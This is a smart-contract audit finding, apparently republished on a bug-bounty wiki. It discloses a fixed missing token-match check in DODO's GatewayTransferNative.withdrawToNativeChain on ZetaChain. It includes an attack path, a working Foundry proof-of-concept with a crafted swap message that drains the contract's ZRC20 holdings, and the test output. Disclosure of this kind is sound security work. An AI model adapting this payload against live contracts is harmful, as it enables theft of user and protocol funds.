`GatewayTransferNative.withdrawToNativeChain` Allows Swapping Arbitrary Contract ZRC20s by Misusing Deposited Token Amount
The withdrawToNativeChain function fails to check that the token specified in the swap parameters matches the deposited token, allowing an attacker to deposit a low-value token and instruct the contract to swap its own holdings of a valuable token. The attacker can then withdraw the proceeds, draining the contract's funds.
Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/681
Found by
0xdice91, 10ap17, AnomX, AshishLac, Cybrid, EgisSecurity, Falendar, Goran, HeckerTrieuTien, OrangeSantra, Phaethon, X0sauce, Yaneca_b, ZeroTrust, bladeee, d4y1ight, hunt1, iamandreiski, ifeco445, khaye26, patitonar, phrax, pyk, radevweb3, roshark, rsam_eth, seeques, shushu, silver_eth, the_haritz, theboiledcorn
Summary
The GatewayTransferNative.withdrawToNativeChain function allows users to specify DODO swap parameters via the message argument. It fails to validate that the input token for this swap (params.fromToken derived from message) matches the zrc20 token actually deposited by the user for the transaction. Instead, the contract uses the deposited amount of zrc20 to approve its own balance of params.fromToken for the swap. An attacker can deposit a low-value zrc20 and provide a message instructing the contract to swap a different, valuable token it holds, leading to fund drain. The swapped proceeds are then processed for withdrawal to an external chain or transfer on ZetaChain as specified by other parts of the message.
Root Cause
The bug lies in GatewayTransferNative when withdrawToNativeChain calls _doMixSwap.
-
User Input: User calls
withdrawToNativeChain.zrc20andamountare the primary deposit by the user directly to this function.messageis decoded usingSwapDataHelperLib.decodeMessageintoDecodedMessage memory decoded. The DODO swap parametersMixSwapParams memory paramsare derived fromdecoded.swapDataZ. Crucially,params.fromTokenandparams.fromTokenAmountare sourced from this user-controlleddecoded.swapDataZ.
Solidity function withdrawToNativeChain(address zrc20, uint256 amount, bytes calldata message) external payable { // ... user token handling (transferFrom or msg.value) ... globalNonce++; bytes32 externalId = _calcExternalId(msg.sender); (DecodedMessage memory decoded, MixSwapParams memory params) = SwapDataHelperLib.decodeMessage(message); // ... uint256 platformFeesForTx = _handleFeeTransfer(zrc20, amount); uint256 currentAmount = amount - platformFeesForTx; // This is amountAfterFee // ... uint256 outputAmount = _doMixSwap(decoded.swapDataZ, currentAmount, params); // ... proceeds to withdrawal logic ... } -
Fee Handling: Platform fees are taken from the deposited
amountofzrc20. Let the remainder becurrentAmount(passed asamountto_doMixSwap). -
Missing Critical Check: Before calling
_doMixSwap, there is no check to ensure thatparams.fromTokenis the same aszrc20. -
Logic in
_doMixSwapCall:_doMixSwapis called withcurrentAmountandparams.Solidity function _doMixSwap( bytes memory swapData, // This is decoded.swapDataZ uint256 amount, // This is currentAmount MixSwapParams memory params ) internal returns (uint256 outputAmount) { if (swapData.length == 0) { return amount; } IZRC20(params.fromToken).approve(DODOApprove, amount); // 'amount' zrc20 return IDODORouteProxy(DODORouteProxy).mixSwap{ value: msg.value }( params.fromToken, params.toToken, params.fromTokenAmount, // Uses amount from payload for actual swap quantity // ... other params ); }If
params.fromTokenis different from thezrc20deposited by the user,GatewayTransferNativeapproves its own balance ofparams.fromTokenforDODOApproveto use. The approval amount isamount. The DODO swap then attempts to useparams.fromTokenAmountofparams.fromToken. Ifparams.fromTokenAmountis less than or equal toamount, the swap will useGatewayTransferNative's funds ofparams.fromToken.
Internal Pre-conditions
- The
GatewayTransferNativecontract must have a non-zero balance of a ZRC20 token that the attacker intends to use asparams.fromTokenand drain. This condition is highly likely to be met for various tokens over time, as the contract's refund mechanism can cause it to accumulate different ZRC20s. DODORouteProxyandDODOApproveaddresses must be correctly set inGatewayTransferNative.
External Pre-conditions
- The DODO protocol on ZetaChain must have a liquidity pool for the swap pair defined in
params.fromToken/params.toToken.
Attack Path
- Pre-condition:
GatewayTransferNativecontract holds1 ETH.ETHZERC20. Attacker has1 DAI.ETHZRC20 and has approvedGatewayTransferNativeto spend them. - Attacker's Action: Attacker calls
GatewayTransferNative.withdrawToNativeChain:zrc20:address(DAI.ETH)amount:1e18(1 DAI.ETH)message: Crafted by attacker. When decoded bySwapDataHelperLib.decodeMessage:decoded.dstChainId: e.g. Basedecoded.targetZRC20:address(DAI.ETH).decoded.receiver: Attacker's address on the destination chain.decoded.swapDataZ(this generatesparamsfor_doMixSwap):params.fromToken:address(ETH.ETH).params.toToken:address(DAI.ETH).params.fromTokenAmount:1e18.params.minReturnAmount:0.- Other
MixSwapParamsfields set as needed.
decoded.swapDataB: Can be empty or specify further swaps on the destination chain.
- Execution within
withdrawToNativeChain:- User's
1 DAI.ETHare transferred toGatewayTransferNative. - Platform fees are deducted from
1 DAI.ETH. Assume zero fees andamountAfterFeebecomes1e18 DAI.ETH. _doMixSwap(decoded.swapDataZ, amountAfterFee, params)is called.- Inside
_doMixSwap:IZRC20(ETH.ETH).approve(DODOApprove, 1e18);executes.GatewayTransferNativeapproves its ownETH.ETHbalance for up to1e18wei. IDODORouteProxy.mixSwapis called to swap1e18(params.fromTokenAmount) ofETH.ETHfromGatewayTransferNative's balance intoDAI.ETH. Assuming 1 ETH = 2500 DAI, this yields approximately2500 DAI.ETH. Let this beoutputAmount.
- Inside
- Back in
withdrawToNativeChain,outputAmount(2500 DAI.ETH) is now processed for withdrawal. Sinceparams.toToken (DAI.ETH)matchesdecoded.targetZRC20 (DAI.ETH), the withdrawal logic forDAI.ETHproceeds using thisoutputAmount.
- User's
- Result:
GatewayTransferNativeloses1 ETH.ETH(worth $2500). Attacker deposited1 DAI.ETH(worth $1). The attacker profits the difference, ultimately receiving the swapped value on their specified destination chain/address.
Impact
Direct loss of ZRC20 token holdings from the GatewayTransferNative contract. An attacker can target any ZRC20 held by the contract by depositing a sufficient amount of a less valuable token via withdrawToNativeChain and crafting a malicious message payload.
PoC
Add this test to test/GatewayTransferNative.t.sol:
/// @dev This bug allows anyone to depost less valuable token to get more valuable token
/// @custom:command forge test --match-contract GatewayTransferNativeTest --match-test test_WithdrawValuableTokens --fork-url https://zetachain-mainnet.g.allthatnode.com/archive/evm
function test_WithdrawValuableTokens() public {
address attacker = makeAddr("attacker");
// Assets
ERC20Mock dai = new ERC20Mock("DAI", "DAI", 18);
ZRC20Mock zrc20DAI = new ZRC20Mock("ZetaChain DAI Ethereum", "DAI.ETH", 18);
ZRC20Mock zrc20ETH = new ZRC20Mock("ZetaChain ETH Ethereum", "ETH.ETH", 18);
uint256 amount = 1e18;
// Balances
zrc20DAI.mint(attacker, amount); // 1 DAI.ETH
zrc20ETH.mint(address(gatewayTransferNative), amount); // 1 ETH.ETH e.g. for refund failed cross-chain tx
zrc20DAI.mint(address(dodoRouteProxyZ), 2500 * 1e18); // Swaps Liquidity
dai.mint(address(gatewayB), 2500 * 1e18); // Escrowed Liquidity
// Gateways
gatewayB.setZRC20(address(dai), address(zrc20DAI));
zrc20DAI.setGasFee(0); // For simplicity
zrc20DAI.setGasZRC20(address(zrc20DAI));
// 1 ETH = 2500 DAI, no slippage for simplicity
dodoRouteProxyZ.setPrice(address(zrc20ETH), address(zrc20DAI), 2500 * 1e18);
// Approvals
vm.prank(attacker);
zrc20DAI.approve(address(gatewayTransferNative), amount);
uint32 dstChainId = 2;
address targetZRC20 = address(zrc20DAI);
bytes memory sender = abi.encodePacked(attacker);
bytes memory receiver = abi.encodePacked(attacker);
bytes memory swapDataZ = encodeCompressedMixSwapParams(
address(zrc20ETH), // !!!!
address(zrc20DAI), // !!!!
amount,
0,
0,
new address[](1),
new address[](1),
new address[](1),
0,
new bytes[](1),
abi.encode(address(0), 0),
block.timestamp + 600
);
bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
bytes memory fromTokenB = abi.encodePacked(address(dai));
bytes memory toTokenB = abi.encodePacked(address(dai));
bytes memory swapDataB = "";
bytes memory accounts = "";
bytes memory message = encodeMessage(
dstChainId,
targetZRC20,
sender,
receiver,
swapDataZ,
contractAddress,
abi.encodePacked(fromTokenB, toTokenB, swapDataB),
accounts
);
vm.prank(attacker);
gatewayTransferNative.withdrawToNativeChain(address(zrc20DAI), amount, message);
// Deposit 1 DAI got 2500 DAI
assertEq(zrc20DAI.balanceOf(attacker), 0);
assertEq(dai.balanceOf(attacker), 2500 * 1e18);
}
Run the test:
forge test --match-contract GatewayTransferNativeTest --match-test test_WithdrawValuableTokens --fork-url https://zetachain-mainnet.g.allthatnode.com/archive/evm
[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.26
[⠊] Solc 0.8.26 finished in 23.72s
Compiler run successful!
Ran 1 test for test/GatewayTransferNative.t.sol:GatewayTransferNativeTest
[PASS] test_WithdrawValuableTokens() (gas: 1888387)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.84ms (2.11ms CPU time)
Ran 1 test suite in 529.76ms (9.84ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Mitigation
In GatewayTransferNative, within the withdrawToNativeChain function, before calling _doMixSwap, add checks to ensure params.fromToken (derived from message via decoded.swapDataZ) matches the zrc20 argument provided by the user, and params.fromTokenAmount is not more than the (post-fee) amount argument.
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/Skyewwww/omni-chain-contracts/pull/33
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The contract approves and swaps its own balance of the token specified in user-supplied swap parameters without verifying it matches the deposited token.
Impact
The contract loses its ZRC20 token holdings, and the attacker profits by receiving the swapped value on their chosen destination chain.
What the attacker needed
Contract holds valuable ZRC20 tokens; Attacker has a low-value ZRC20 token; DODO has liquidity for the swap pair
The fix
The contract was fixed by adding checks that the swap input token matches the deposited token and that the swap amount does not exceed the post-fee deposit.
How it was found
- Attacker approves the contract to spend their low-value ZRC20 tokens.
- Attacker calls withdrawToNativeChain with the low-value token and a crafted message specifying a different, valuable token as the swap input.
- The contract approves its own balance of the valuable token for the DODO swap.
- The DODO swap uses the contract's valuable tokens, producing output in the target token.
- The output is processed for withdrawal to the attacker's address on the destination chain.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract lets users deposit one token and request a swap to another. The contract forgot to check that the token being swapped is the same one the user deposited. So an attacker can deposit a cheap token but ask the contract to swap its own valuable tokens, then take the profit.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.